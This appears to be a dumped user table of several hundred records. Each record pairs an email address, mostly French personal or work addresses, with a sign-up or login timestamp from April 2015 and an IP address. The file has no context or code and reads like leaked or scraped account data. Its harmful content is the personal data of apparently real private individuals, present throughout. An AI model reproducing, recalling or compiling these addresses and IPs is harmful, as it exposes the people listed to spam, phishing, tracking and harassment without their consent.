+8370;hannah31@live.fr;2015-04-02 02:29:59;82.125.52.63 +8371;michellecs10@hotmail.com;2015-04-02 05:50:13;88.178.121.1 +8372;france.foulon@wanadoo.fr;2015-04-02 08:09:46;90.22.255.112 +8373;agnes.briquez@gmail.com;2015-04-02 08:52:09;86.216.79.171 +8374;thierry.corseret@wanadoo.fr;2015-04-02 09:42:53;92.138.51.22 +8375;mimichouguy@gmail.com;2015-04-02 09:44:57;77.152.150.47 +8376;marieamar75@gmail.com;2015-04-02 09:57:17;193.248.40.123 +8377;sab.dridi@gmail.com;2015-04-02 10:24:52;193.227.228.253 +8378;maadumon@gmail.com;2015-04-02 10:38:35;82.212.183.249 +8379;aurore.rouleau@gmail.com;2015-04-02 11:43:45;90.21.239.121 +8380;legros.mich@orange.fr;2015-04-02 11:58:18;109.219.162.65 +8381;micmic-sageau@orange.fr;2015-04-02 12:12:22;86.199.145.68 +8382;sarah.philippe@sfr.fr;2015-04-02 12:17:26;81.57.181.71 +8383;francoise.huynen@gmail.com;2015-04-02 12:25:37;91.183.37.39 +8384;aureliemoignet@hotmail.fr;2015-04-02 13:12:42;62.34.51.203 +8385;diane.dupuich@laposte.net;2015-04-02 13:25:00;78.112.208.88 +8386;alego31@aol.com;2015-04-02 13:31:55;77.195.247.189 +8387;nicole@morinfr.org;2015-04-02 13:35:34;81.57.171.53 +8388;muriel.destrems@lyreco.com;2015-04-02 13:43:06;88.177.51.62 +8389;sbalda@mac.com;2015-04-02 13:46:38;80.218.160.174 +8390;monique.saleur@hotmail.fr;2015-04-02 13:51:52;78.244.188.200 +8391;stephanie.torchot@loreal.com;2015-04-02 14:17:42;81.255.154.162 +8392;fabulous35@yahoo.fr;2015-04-02 14:41:32;83.154.59.102 +8393;maryse.colombienne@gmail.com;2015-04-02 14:42:08;82.121.47.83 +8394;micheline.abysique@wanadoo.fr;2015-04-02 15:42:31;90.0.151.98 +8395;s.thouverez@laposte.net;2015-04-02 16:25:59;82.120.61.110 +8396;as.dallalibera@gmail.com;2015-04-02 16:34:06;109.190.97.52 +8397;claire-marie.cinquin@orange.fr;2015-04-02 16:46:24;90.50.253.21 +8398;vanessaskr@orange.fr;2015-04-02 16:59:36;176.179.1.134 +8399;beatriceansaud@yahoo.fr;2015-04-02 17:23:18;82.151.11.17 +8400;SAFRAN.PACA@ORANGE.FR;2015-04-02 20:11:03;83.113.175.107 +8401;marie_claude06@hotmail.fr;2015-04-02 20:16:01;88.173.73.126 +8402;fanny.k79@live.fr;2015-04-02 21:22:21;109.29.64.173 +8403;p.petit474@laposte.net;2015-04-02 21:58:04;92.95.130.143 +8404;mimi5962@dartybox.com;2015-04-02 22:11:11;89.224.168.90 +8405;caraluna@hotmail.fr;2015-04-02 22:31:37;85.170.80.79 +8406;laure.julien13@gmail.com;2015-04-02 22:58:34;78.228.66.230 +8407;sosoquad@laposte.net;2015-04-02 23:40:23;84.98.32.115 +8408;irenaudineau.contact@gmail.com;2015-04-03 00:01:54;89.86.118.132 +8409;antigone1000@wanadoo.fr;2015-04-03 01:51:20;90.8.49.174 +8410;melanievoivenel@gmail.com;2015-04-03 02:25:14;88.164.146.8 +8411;elisabth.pellegrinelli@orange.fr;2015-04-03 06:36:27;86.209.11.41 +8412;serge.delbarrio@orange.fr;2015-04-03 07:09:29;90.52.11.227 +8413;p.ft@orange.fr;2015-04-03 07:46:00;90.25.48.149 +8414;loloalfred@free.fr;2015-04-03 08:08:33;82.241.103.186 +8415;dli.caillaud@gmail.com;2015-04-03 08:52:38;164.2.255.244 +8416;laopi_gege@yahoo.fr;2015-04-03 08:59:59;77.202.163.205 +8417;christele.avice@sfr.fr;2015-04-03 09:24:28;109.18.24.95 +8418;diane.lamare@free.fr;2015-04-03 09:47:18;82.230.74.214 +8419;the.goldhills@gmail.com;2015-04-03 10:11:19;92.11.166.240 +8420;veroniquevero29410@gmail.com;2015-04-03 10:23:14;2.11.127.214 +8421;nathaliepapillon@hotmail.fr;2015-04-03 11:11:46;88.122.252.40 +8422;roselyne.datchy@orange.fr;2015-04-03 11:22:27;81.250.48.100 +8423;CRBdjeralfia@aol.com;2015-04-03 11:41:03;84.102.227.25 +8424;michelelanneau@hotmail.fr;2015-04-03 12:37:32;86.207.23.176 +8425;t_enebre@hotmail.fr;2015-04-03 12:58:26;78.114.230.69 +8426;catherine.floury@ac-amiens.fr;2015-04-03 13:23:36;195.221.156.131 +8427;khloelia@gmail.com;2015-04-03 13:36:21;164.177.26.251 +8428;regis.magisson@live.fr;2015-04-03 13:59:00;90.26.254.194 +8429;sylvie.hofstetter@bbox.fr;2015-04-03 14:34:12;5.50.96.23 +8430;daniel.semeril@orange.fr;2015-04-03 14:46:41;109.218.112.111 +8431;lolastmichel@free.fr;2015-04-03 14:51:17;88.165.21.21 +8432;pascale.bayon@wanadoo.fr;2015-04-03 15:49:09;90.28.234.203 +8433;camiva91@hotmail.com;2015-04-03 16:09:20;132.166.208.126 +8434;corinneb71@gmail.com;2015-04-03 16:32:50;82.246.9.146 +8435;porcherce@wanadoo.fr;2015-04-03 16:43:13;90.54.189.76 +8436;marie-france.ferrari@club-intrenet.fr;2015-04-03 17:11:13;77.151.36.25 +8437;caubet.pascale@orange.fr;2015-04-03 17:13:36;83.193.6.184 +8438;mariewill@hotmail.fr;2015-04-03 17:42:28;78.205.16.212 +8439;lavabre.brigitte@orange.fr;2015-04-03 17:46:22;90.37.187.36 +8440;guenola.vignot123@range.fr;2015-04-03 18:11:09;92.135.209.112 +8441;calo.richard@laposte.net;2015-04-03 18:13:29;88.160.5.240 +8442;kounkoureine@hotmail.fr;2015-04-03 18:32:07;82.246.66.127 +8443;malou13800@hotmail.fr;2015-04-03 18:59:50;85.68.32.50 +8444;fabiennetixier123@sfr.fr;2015-04-03 19:14:43;88.137.194.164 +8445;dinela_mari@yahoo.com;2015-04-04 01:29:01;78.45.252.94 +8446;rn31sandra@hotmail.fr;2015-04-04 02:21:13;88.173.156.212 +8447;lucieb83@hotmail.fr;2015-04-04 02:46:45;41.213.245.197 +8448;amontenotte@gmail.com;2015-04-04 05:24:23;24.136.91.165 +8449;pamajomi@free.fr;2015-04-04 08:50:41;82.229.252.129 +8450;marielle.lambrushini@wanadoo.fr;2015-04-04 09:02:10;78.217.76.32 +8451;berthaudph2@wanadoo.fr;2015-04-04 09:23:36;90.15.131.62 +8452;jacques.bailanger@orange.fr;2015-04-04 10:41:18;86.199.49.212 +8453;tinarodrigues79@hotmail.com;2015-04-04 10:41:26;81.245.38.149 +8454;mariad69@outlook.fr;2015-04-04 10:52:48;78.223.214.30 +8455;SAMGRAT13@ORANGE.FR;2015-04-04 11:20:32;82.125.38.130 +8456;annie.martinat@hotmail.fr;2015-04-04 11:29:15;93.13.157.244 +8457;audreyleroy23@gmail.com;2015-04-04 11:39:30;46.103.35.33 +8458;malet.s@club.fr;2015-04-04 12:16:07;78.123.20.94 +8459;morivaljm@hotmail.fr;2015-04-04 13:18:14;81.66.187.211 +8460;chris.dadillon@orange.fr;2015-04-04 13:36:53;2.14.200.248 +8461;caroline.spinosi@wanadoo.fr;2015-04-04 14:19:20;92.150.71.39 +8462;elisabeth.halipre@wanadoo.fr;2015-04-04 14:25:40;90.1.156.197 +8463;bellule34320@gmail.com;2015-04-04 14:57:12;90.0.242.246 +8464;cuzureau@gmail.com;2015-04-04 14:57:49;82.229.150.57 +8465;philrybak@aol.com;2015-04-04 15:03:25;77.192.219.41 +8466;marine.62750@gmail.com;2015-04-04 15:04:29;89.225.76.183 +8467;francoise1954@hotmail.fr;2015-04-04 15:39:17;2.0.192.25 +8468;vomy4@hotmail.com;2015-04-04 17:10:38;91.178.191.211 +8469;michele.crouin@wanadoo.fr;2015-04-04 17:18:14;92.132.94.31 +8470;nelbier@yahoo.fr;2015-04-04 17:31:57;77.149.65.38 +8471;esther.mandrin@wanadoo.fr;2015-04-04 17:53:22;90.28.135.207 +8472;nogues.nathalie@orange.fr;2015-04-04 18:19:11;86.222.55.196 +8473;sophie.rehor@wanadoo.fr;2015-04-04 18:35:42;90.26.195.53 +8474;kezelane@gmail.com;2015-04-04 20:16:24;78.127.176.235 +8475;caroline.baillargeau@orange.fr;2015-04-04 20:50:28;90.96.13.21 +8476;flacher.julie@sfr.fr;2015-04-04 21:58:03;92.90.17.129 +8477;denisedonuts@hotmail.fr;2015-04-05 00:27:46;176.183.39.89 +8478;d_yazhi1991@163.com;2015-04-05 01:20:16;212.194.82.241 +8479;f.robin539@orange.fr;2015-04-05 01:25:18;86.201.199.251 +8480;elisabeth.challier@cegetel.net;2015-04-05 11:22:39;79.92.150.230 +8481;al.storrie@gmail.com;2015-04-05 11:52:34;90.5.178.139 +8482;anne.masclin@yahoo.fr;2015-04-05 15:29:04;109.21.183.172 +8483;sofbritel@hotmail.fr;2015-04-05 15:31:08;176.183.211.249 +8484;clelia.cazaoulou@gmail.com;2015-04-05 15:59:48;88.181.81.105 +8485;veroniqueclaudinon@orange.fr;2015-04-05 16:04:24;90.6.34.22 +8486;andre.vergnes500@orange.fr;2015-04-05 16:42:54;92.153.4.160 +8487;valefam006@hotmail.fr;2015-04-05 17:59:53;87.89.222.231 +8488;olivbea.mahe@orange.fr;2015-04-05 18:38:51;2.0.229.217 +8489;muriel.colin@dbmail.com;2015-04-05 18:51:31;92.137.55.157 +8490;marielaure.dupont4@orange.fr;2015-04-05 18:54:54;80.12.35.151 +8491;natannemarie68@gmail.com;2015-04-05 19:40:49;83.141.245.233 +8492;severine_nuyttens@yahoo.fr;2015-04-05 20:10:46;88.162.160.248 +8493;jocelyne.brosse@free.fr;2015-04-05 20:29:17;88.121.233.107 +8494;christinestaehle@aol.com;2015-04-05 22:34:41;31.32.7.99 +8495;nellydvorak@orange.fr;2015-04-06 00:02:10;92.150.91.29 +8496;mimi2802@wanadoo.fr;2015-04-06 01:02:10;193.248.202.128 +8497;gigidip62@live.fr;2015-04-06 08:34:11;90.18.8.244 +8498;hilde.gondard@gmail.com;2015-04-06 09:43:07;176.187.114.122 +8499;anneoswald@estvideo.fr;2015-04-06 10:17:39;83.141.190.74 +8500;ccelena@neuf.fr;2015-04-06 11:40:14;2.9.101.221 +8501;ollivoncatherine@neuf.fr;2015-04-06 11:56:51;80.215.234.88 +8502;gallois.severine@yahoo.fr;2015-04-06 14:18:28;86.216.121.95 +8503;pascal.carballo@wanadoo.fr;2015-04-06 15:07:24;2.13.76.247 +8504;hzr10223@gmail.com;2015-04-06 15:11:43;78.220.96.175 +8505;jcfsxn@hotmail.com;2015-04-06 16:41:24;92.156.58.15 +8506;catherine-ollo@orange.fr;2015-04-06 17:20:41;2.10.123.230 +8507;sobiack1508@gmail.com;2015-04-06 17:51:07;86.194.33.243 +8508;virginieblanchard@ymail.com;2015-04-06 17:53:51;90.85.23.1 +8509;persillonanne@gmail.com;2015-04-06 18:47:16;92.156.124.141 +8510;littlemsheep@hotmail.com;2015-04-06 19:56:15;90.32.178.19 +8511;cat.2412@gmx.fr;2015-04-06 20:36:36;92.138.198.222 +8512;olimed.delmed@gmail.com;2015-04-06 20:47:41;81.241.40.0 +8513;mackowiak.annick@yahoo.fr;2015-04-06 21:43:52;85.169.203.161 +8514;stephcolin@ymail.com;2015-04-06 22:47:53;90.56.219.65 +8515;lorelaklenja@hotmail.it;2015-04-07 01:43:30;151.16.6.82 +8516;mina.piault@orange.fr;2015-04-07 02:05:17;109.221.197.18 +8517;martine.dul@laposte.net;2015-04-07 09:06:20;84.37.36.102 +8518;josettejup@hotmail.com;2015-04-07 09:37:45;81.247.115.92 +8519;piou1987@hotmail.fr;2015-04-07 09:38:25;80.11.221.30 +8520;mangano.elodie@gmail.com;2015-04-07 11:02:23;78.234.101.134 +8521;jose-andrade@bbox.fr;2015-04-07 11:22:31;80.11.110.5 +8522;laurene.sirard@gmail.com;2015-04-07 11:46:43;81.255.43.93 +8523;ariberi@sfr.fr;2015-04-07 12:32:35;78.113.145.65 +8524;nadia.douau@gmail.com;2015-04-07 13:07:45;95.9.35.245 +8525;pujol.maconnerie@orange.fr;2015-04-07 14:01:27;81.251.221.132 +8526;misou55@hotmail.fr;2015-04-07 14:03:09;217.77.225.130 +8527;caroseb@gmail.com;2015-04-07 14:51:57;86.199.89.241 +8528;sabrina-kara@hotmail.com;2015-04-07 14:52:04;84.105.116.101 +8529;iconsiglidinicol@gmail.com;2015-04-07 15:21:31;79.10.91.139 +8530;saveria-coste@gmail.com;2015-04-07 15:24:43;78.194.78.147 +8531;saveriacoste@googlemail.com;2015-04-07 15:26:42;78.194.78.147 +8532;garance52@hotmail.fr;2015-04-07 15:38:17;78.194.78.147 +8533;charlesjules75@yahoo.fr;2015-04-07 15:41:17;78.194.78.147 +8534;magali.boissy@hotmail.fr;2015-04-07 16:54:43;89.2.1.69 +8535;sab.hub79@gmai.com;2015-04-07 17:58:08;86.202.53.97 +8536;thierry.duviau@luxinet.fr;2015-04-07 18:09:08;37.220.53.252 +8537;paul.babeau@orange.fr;2015-04-07 20:18:47;92.146.73.78 +8538;anne.dobbels@wanadoo.fr;2015-04-07 21:28:08;128.252.25.19 +8539;severine.bachmann63@orange.fr;2015-04-07 21:31:54;78.205.194.109 +8540;audrey.courtois@nordnet.fr;2015-04-07 21:36:33;37.72.199.150 +8541;nat.haye@orange.fr;2015-04-07 21:37:59;2.4.64.28 +8542;chloe-hauguel@orange.fr;2015-04-07 21:48:04;82.126.98.148 +8543;laurenceflourest@yahoo.fr;2015-04-07 21:50:38;109.219.183.224 +8544;isabelle.blanquart@netcourrier.com;2015-04-07 21:59:49;93.5.91.58 +8545;manon.lasneau@gmail.com;2015-04-07 23:23:31;89.83.91.31 +8546;juliette.gdr@gmail.com;2015-04-07 23:47:59;82.229.246.245 +8547;yaradib@hotmail.fr;2015-04-07 23:51:59;82.224.193.33 +8548;aurelie_2608@hotmail.fr;2015-04-08 03:25:56;109.210.44.98 +8549;leilana27@yahoo.fr;2015-04-08 08:43:37;89.158.161.18 +8550;roques.delph@free.fr;2015-04-08 09:05:49;82.233.252.219 +8551;ev.titkova1901@gmail.com;2015-04-08 09:39:02;37.212.163.93 +8552;stefypierre@live.fr;2015-04-08 09:51:01;86.193.137.186 +8553;dominiquebastien@sfr.fr;2015-04-08 10:17:09;78.155.134.26 +8554;candide.sauve@orange.fr;2015-04-08 10:24:15;92.156.135.11 +8555;c.laurora@yahoo.fr;2015-04-08 10:51:22;89.91.243.196 +8556;marieodile.techer@sfr.fr;2015-04-08 11:26:27;77.147.83.84 +8557;mewlecuit@hotmail.fr;2015-04-08 11:33:13;89.91.173.207 +8558;marine_michaud@hotmail.fr;2015-04-08 12:02:28;109.2.82.247 +8559;flavie.dardelet@orange.fr;2015-04-08 12:10:48;109.2.82.247 +8560;laurent.guillot67@neuf.fr;2015-04-08 12:40:18;86.71.62.92 +8561;josiane.anselmi@orange.fr;2015-04-08 13:25:29;86.199.239.112 +8562;ingrid.lange@sfr.fr;2015-04-08 13:55:08;77.205.254.185 +8563;jacopinpanel@sfr.fr;2015-04-08 14:04:21;185.24.184.1 +8564;dewessence@bellsouth.net;2015-04-08 14:51:36;108.75.206.233 +8565;mylien.tan10@gmail.com;2015-04-08 15:11:50;82.66.245.72 +8566;sylvie.legrand.25@sfr.fr;2015-04-08 16:54:25;81.51.193.146 +8567;fanny1084@hotmail.fr;2015-04-08 17:03:06;81.255.126.202 +8568;saucet.melanie@gmail.com;2015-04-08 17:06:37;88.121.178.36 +8569;mba_054@orange.fr;2015-04-08 17:21:45;90.29.185.225 +8570;renaud_pascale@orange.fr;2015-04-08 17:35:03;86.228.190.143 +8571;emmah_19@hotmail.com;2015-04-08 19:29:30;78.192.88.65 +8572;coco-chanel-13@orange.fr;2015-04-08 20:00:13;2.2.3.47 +8573;mathilde.bertin7@gmail.com;2015-04-08 20:50:26;77.204.220.199 +8574;broucam@gmail.com;2015-04-08 21:20:51;82.237.220.219 +8575;marilenacu@libero.it;2015-04-08 21:42:41;79.40.230.212 +8576;francineferrier@bbox.fr;2015-04-08 21:49:08;31.35.242.202 +8577;margueriterousseau@gmail.com;2015-04-08 22:14:44;88.166.34.150 +8578;fredrerique.thennevier.14-17@gmx.fr;2015-04-08 22:42:43;81.56.49.42 +8579;marie.jo.montville@hotmail.fr;2015-04-08 23:21:48;90.22.137.182 +8580;n.chazal@free.fr;2015-04-08 23:26:30;88.127.12.127 +8581;snoopyyoupy@hotmail.com;2015-04-08 23:35:10;82.229.189.44 +8582;fabienne.gerard59620@gmail.com;2015-04-09 07:43:25;88.120.188.238 +8583;audrey.montier@missody.com;2015-04-09 08:37:06;82.216.98.56 +8584;florencebeaumier@yahoo.fr;2015-04-09 08:59:33;89.157.128.168 +8585;myjadet@gmail.com;2015-04-09 09:09:14;193.134.193.5 +8586;bruno-isa37@hotmail.fr;2015-04-09 09:54:55;92.160.60.200 +8587;isabelle.mangeot-external@gemalto.com;2015-04-09 10:00:12;85.115.60.180 +8588;bouche.josiane@orange.fr;2015-04-09 10:21:53;86.194.36.105 +8589;emimxx@yahoo.fr;2015-04-09 10:30:21;109.2.141.58 +8590;carmengabarain@hotmail.com;2015-04-09 11:00:48;31.4.184.155 +8591;myriam240@yahoo.fr;2015-04-09 11:12:38;193.191.150.196 +8592;fidelitepara@gmail.com;2015-04-09 11:24:42;90.5.203.198 +8593;francoise.retiere@orange.fr;2015-04-09 12:52:55;90.49.207.48 +8594;sylvie.bernier35@gmail.com;2015-04-09 13:17:56;77.131.67.119 +8595;m.machagray@gmail.com;2015-04-09 14:23:06;92.94.148.102 +8596;chrystele.girardeau@laposte.net;2015-04-09 15:02:52;90.83.159.13 +8597;elodie.stievenart@ec.europa.eu;2015-04-09 15:13:28;158.169.40.5 +8598;helene.sporrer@orange.fr;2015-04-09 15:15:48;83.200.86.122 +8599;chabalier.myriam@orange.fr;2015-04-09 15:35:36;193.251.94.115 +8600;sunflowers@outlook.fr;2015-04-09 16:06:43;193.253.231.112 +8601;chlozouetdebc@gmail.com;2015-04-09 16:14:34;88.167.33.189 +8602;mirabelle08@live.fr;2015-04-09 17:07:40;171.16.210.2 +8603;mamietine@live.fr;2015-04-09 17:09:47;37.114.68.21 +8604;merla@voila.fr;2015-04-09 17:24:45;78.240.166.108 +8605;sarahromane59@gmail.com;2015-04-09 17:51:57;91.69.110.65 +8606;sleb76@hotmail.com;2015-04-09 17:59:20;85.168.170.225 +8607;valerie.jourdan.fr@gmail.com;2015-04-09 18:09:08;85.170.120.244 +8608;catherine.pernet@hotmail.fr;2015-04-09 18:33:35;81.252.184.188 +8609;laetitiarenaux@yahoo.fr;2015-04-09 18:48:57;77.207.209.22 +8610;souad.ancelot@aliceadsl.fr;2015-04-09 18:51:17;88.174.134.222 +8611;natalie56000@gmail.com;2015-04-09 20:53:22;79.90.88.209 +8612;seancalonger@gmail.com;2015-04-09 21:03:10;109.88.63.155 +8613;c.nathalie1967@laposte.net;2015-04-09 21:36:44;2.4.120.181 +8614;fillou94@hotmail.com;2015-04-09 22:51:57;92.130.112.176 +8615;rimbert.emilie@gmail.com;2015-04-09 22:56:45;82.226.161.188 +8616;brigitte.serre3@orange.fr;2015-04-09 23:05:32;90.4.33.197 +8617;alain.adx@sfr.fr;2015-04-09 23:17:37;109.23.160.22 +8618;magnien.christelle@hotmail.fr;2015-04-10 00:05:58;2.13.251.149 +8619;mcostebonnet@yahoo.fr;2015-04-10 08:15:27;80.11.15.137 +8620;kenmenoff@free.fr;2015-04-10 08:46:08;88.184.210.39 +8621;isabelle.vanhorick@hotmail.com;2015-04-10 09:29:54;149.154.249.11 +8622;ingrid.chevalier-ruel@wanadoo.fr;2015-04-10 09:37:03;185.56.161.132 +8623;ltrevisan@lequipe.fr;2015-04-10 09:47:26;83.112.224.165 +8624;007sandy@live.fr;2015-04-10 10:35:31;78.245.212.19 +8625;karine.bizanier@orange.fr;2015-04-10 11:02:02;78.231.216.188 +8626;nathaliegiraud234@msn.com;2015-04-10 11:42:34;193.51.157.40 +8627;mahdi.cmc@gmail.com;2015-04-10 11:46:14;79.93.78.50 +8628;nvanthielt@gmail.com;2015-04-10 11:47:45;109.190.81.137 +8629;delphinethereau@yahoo.fr;2015-04-10 11:55:22;185.45.228.152 +8630;maninmireille@gmail.com;2015-04-10 12:22:05;88.137.254.28 +8631;sophie.joutel@orange.fr;2015-04-10 12:50:57;86.203.228.131 +8632;morisset.fr@gmail.com;2015-04-10 13:55:03;46.20.171.3 +8633;grangier.martine@orange.fr;2015-04-10 13:59:51;86.196.120.63 +8634;grangier.martine@orange..fr;2015-04-10 14:02:18;86.196.120.63 +8635;elianeminuto@gmail.com;2015-04-10 14:30:09;86.223.30.166 +8636;margauxgeitner@omnivor.fr;2015-04-10 14:40:31;193.248.178.130 +8637;gilda.chassagne@wanadoo.fr;2015-04-10 14:48:25;86.207.47.219 +8638;sabrina.rolland@sfr.fr;2015-04-10 15:14:58;176.184.35.145 +8639;sylvie.dupuis@mairie-villeurbanne.fr;2015-04-10 15:24:02;213.30.179.210 +8640;clodave@hotmail.fr;2015-04-10 16:09:45;82.226.143.184 +8641;atelier-pb.compta@wanadoo.fr;2015-04-10 16:35:23;80.11.178.136 +8642;les.anges@orange.fr;2015-04-10 16:35:33;90.13.176.181 +8643;anne.lamote92@gmail.com;2015-04-10 17:34:07;176.182.234.228 +8644;octobreo@gmail.com;2015-04-10 17:43:31;92.148.210.199 +8645;jansmr77@gmail.com;2015-04-10 18:19:42;88.181.63.71 +8646;vivamyne.a@orange.fr;2015-04-10 18:23:47;90.41.154.117 +8647;esthercirenei@hotmail.fr;2015-04-10 18:37:24;82.232.163.83 +8648;fabvand@yahoo.fr;2015-04-10 19:31:04;85.69.225.54 +8649;mariellacucu@hotmail.com;2015-04-10 19:54:37;78.230.8.184 +8650;kulisicnathalie@orange.fr;2015-04-10 21:30:45;90.48.154.31 +8651;vmelendez@promochile.cl;2015-04-11 05:03:13;190.161.73.35 +8652;jj.bardy@orange.fr;2015-04-11 08:12:29;90.35.241.234 +8653;gribouille30@hotmail.com;2015-04-11 09:00:50;109.18.36.76 +8654;swany.cc@free.fr;2015-04-11 09:09:15;80.13.58.104 +8655;tomstunt@hotmail.fr;2015-04-11 10:03:16;92.161.149.245 +8656;leloup.aline@hotmail.fr;2015-04-11 10:07:34;82.253.26.238 +8657;laperron@wanadoo.fr;2015-04-11 10:10:07;86.214.4.135 +8658;jaky.martini@sfr.fr;2015-04-11 10:44:08;109.27.110.43 +8659;fareymenants@skynet.be;2015-04-11 10:46:05;109.129.223.105 +8660;grangier.martine@wanadoo.fr;2015-04-11 10:54:35;86.196.120.63 +8661;florence.tixier@sfr.fr;2015-04-11 10:55:00;109.213.242.115 +8662;francoise.lavit@dbmail.com;2015-04-11 11:26:57;89.224.187.88 +8663;mijogillig@msn.com;2015-04-11 11:36:01;78.219.200.26 +8664;nejan@hotmail.fr;2015-04-11 13:30:38;78.117.160.233 +8665;mariie59178@gmail.com;2015-04-11 13:43:18;92.155.61.6 +8666;laidia1@live.fr;2015-04-11 14:39:54;212.194.104.151 +8667;fllyingtango@orange.fr;2015-04-11 15:10:58;90.43.4.227 +8668;florette62810@hotmail.fr;2015-04-11 15:38:38;92.142.190.243 +8669;chrisarole@hotmail.com;2015-04-11 16:29:32;93.121.203.236 +8670;sophie.frances@ive.fr;2015-04-11 17:06:09;109.62.74.233 +8671;anne.le-louarne@orange.fr;2015-04-11 18:00:54;92.132.129.94 +8672;b.plourdeau@yahoo.fr;2015-04-11 18:15:56;78.234.58.48 +8673;martine.p49@orange.fr;2015-04-11 18:49:18;83.195.153.235 +8674;darius971@hotmail.fr;2015-04-11 18:54:33;109.62.79.20 +8675;sabine.marteau@wanadoo.fr;2015-04-11 19:21:57;81.250.42.227 +8676;rgrimm53@msn.com;2015-04-11 19:30:15;109.214.169.196 +8677;marc-antoine.boucq@orange.fr;2015-04-11 19:44:45;92.155.187.63 +8678;regnier-emmanuel@bbox.fr;2015-04-11 20:35:46;89.83.179.165 +8679;manuela46@live.fr;2015-04-11 21:21:04;88.140.138.2 +8680;lherbat@yahoo.fr;2015-04-11 21:57:20;83.152.153.32 +8681;f.viennet@orange.fr;2015-04-11 22:08:29;92.150.10.3 +8682;lagneaujulie@gmail.com;2015-04-11 22:44:43;78.247.236.56 +8683;nithael67@orange.fr;2015-04-11 22:48:26;90.19.144.2 +8684;eymardia@gmail.com;2015-04-11 23:09:59;82.225.84.169 +8685;bronbrigitte@bluewin.ch;2015-04-11 23:16:27;178.193.254.83 +8686;violainekb@hotmail.com;2015-04-12 05:11:07;90.10.228.57 +8687;alloelec31@orange.fr;2015-04-12 08:11:41;86.201.195.208 +8688;aurelyferrier@gmail.com;2015-04-12 08:16:35;88.187.188.205 +8689;claire.villiers@wanadoo.fr;2015-04-12 08:47:55;86.235.237.89 +8690;cyrille-vigouroux@orange.fr;2015-04-12 09:37:16;109.218.107.70 +8691;monique.kermoal@outlook.fr;2015-04-12 09:38:03;89.3.150.139 +8692;PHIL26F@HOTMAIL.FR;2015-04-12 09:43:00;92.150.39.108 +8693;sandrine.joyon@wanadoo.fr;2015-04-12 09:46:21;90.9.170.95 +8694;alizee2121@hotmail.com;2015-04-12 09:49:29;86.219.177.122 +8695;s.rangotte@aiceadsl.fr;2015-04-12 10:51:42;109.18.7.196 +8696;michelschaffner@sfr.fr;2015-04-12 11:00:42;77.129.158.73 +8697;carinekiss@yahoo.fr;2015-04-12 13:42:04;86.75.220.242 +8698;lefevre.christine91220@live.fr;2015-04-12 13:50:12;92.128.52.209 +8699;nina.tafani@orange.fr;2015-04-12 14:52:28;90.8.132.148 +8700;angelneve69@yahoo.fr;2015-04-12 15:06:15;88.209.107.71 +8701;lambling.david@orange.fr;2015-04-12 15:11:09;92.140.226.35 +8702;laurence.briere@live.fr;2015-04-12 15:21:24;84.254.177.121 +8703;serge.secretant@wanadoo.fr;2015-04-12 15:34:40;90.56.49.16 +8704;bsuatton@yahoo.fr;2015-04-12 15:51:34;85.3.231.120 +8705;sandrine.foissac@orange.fr;2015-04-12 17:05:38;92.146.222.89 +8706;masseromaine@hotmail.com;2015-04-12 17:57:20;89.2.163.190 +8707;ervinjfarr@yahoo.it;2015-04-12 18:54:51;88.203.64.238 +8708;julieredempt@hotmail.fr;2015-04-12 18:57:19;88.140.17.113 +8709;catherine-jourdheuil@orange.fr;2015-04-12 20:18:31;92.147.78.203 +8710;nadege.dur@gmail.com;2015-04-12 20:20:10;31.39.10.206 +8711;smortocortellini.dominique@orange.fr;2015-04-12 20:43:19;86.211.67.45 +8712;michelaurelie22@gmail.com;2015-04-12 20:50:40;79.87.77.217 +8713;lestnicolas@hotmail.fr;2015-04-12 21:31:25;88.176.156.20 +8714;anles@sfr.fr;2015-04-12 21:55:31;77.145.196.122 +8715;ruelle.soileux@gmail.com;2015-04-13 00:33:13;77.152.17.92 +8716;gay.mf@orange.fr;2015-04-13 07:55:51;90.15.174.106 +8717;ptitnana52@gmail.com;2015-04-13 08:58:48;109.29.225.121 +8718;sylagrange@netcourrier.com;2015-04-13 09:01:17;90.27.59.103 +8719;anne-emmanuelle.herault@wanadoo.fr;2015-04-13 09:37:51;90.45.230.63 +8720;roberte?polato@hotmail.fr;2015-04-13 09:58:00;86.203.221.17 +8721;lefebvreimbert@gmail.com;2015-04-13 11:34:25;92.145.34.167 +8722;bes.cat@live.fr;2015-04-13 13:34:15;77.192.131.22 +8723;redavid@free.fr;2015-04-13 13:45:38;88.127.206.19 +8724;brigitte.michel.lefebvre@gmail.com;2015-04-13 13:48:12;82.231.88.156 +8725;sastot69@yahoo.fr;2015-04-13 14:14:58;88.122.101.198 +8726;gerard.traen@orange.fr;2015-04-13 14:37:31;81.49.10.26 +8727;luc.harmand@wanadoo.fr;2015-04-13 15:33:38;92.134.195.20 +8728;arlette.bertaut@wanadoo.fr;2015-04-13 16:13:14;90.6.167.81 +8729;y.victor@orange.fr;2015-04-13 16:28:22;83.204.103.108 +8730;vidal.philippe@lwanadoo.fr;2015-04-13 16:50:30;145.226.158.81 +8731;caroline.cappelle@laposte.net;2015-04-13 17:24:52;90.7.57.12 +8732;monybuismùscadiere@gmail.com;2015-04-13 18:12:30;37.247.90.46 +8733;michalski.marie@free.fr;2015-04-13 19:13:33;88.125.204.248 +8734;394672@qq.com;2015-04-13 19:40:12;222.162.196.179 +8735;tonetti.bruno@orange.fr;2015-04-13 19:43:43;90.28.135.155 +8736;cheramymarie-claire@orange.fr;2015-04-13 19:52:49;83.194.186.66 +8737;veroflorin@orange.fr;2015-04-13 20:01:46;92.138.35.180 +8738;muriel.hiegel@orange.fr;2015-04-13 20:17:48;90.6.37.38 +8739;S_g84@hotmail.com;2015-04-13 20:25:06;85.27.121.14 +8740;kathleen.heritier@gmail.com;2015-04-13 20:31:48;90.29.93.12 +8741;cecile.gewiss0599@orange.fr;2015-04-13 21:43:36;92.139.91.29 +8742;0689412608@orange.fr;2015-04-13 22:07:45;86.197.91.115 +8743;stesas@neuf.fr;2015-04-13 22:43:58;88.123.116.164 +8744;sylmi21@orange.fr;2015-04-14 08:43:42;2.5.58.246 +8745;nadine.m.lelievre@orange.fr;2015-04-14 08:58:46;2.4.231.13 +8746;catdef@orange.fr;2015-04-14 09:04:23;90.1.218.190 +8747;TYMEUR@VOILA.FR;2015-04-14 09:15:27;77.158.29.116 +8748;bichette144@hotmail.fr;2015-04-14 09:20:54;176.180.66.224 +8749;moutemoute@hotmail.fr;2015-04-14 09:53:58;194.72.120.131 +8750;flo.beaudouvi@hotmail.fr;2015-04-14 10:15:42;109.9.253.83 +8751;thevenotpaulette@orange.fr;2015-04-14 10:18:43;86.205.134.112 +8752;m-sage@hotmail.fr;2015-04-14 10:30:11;88.173.84.134 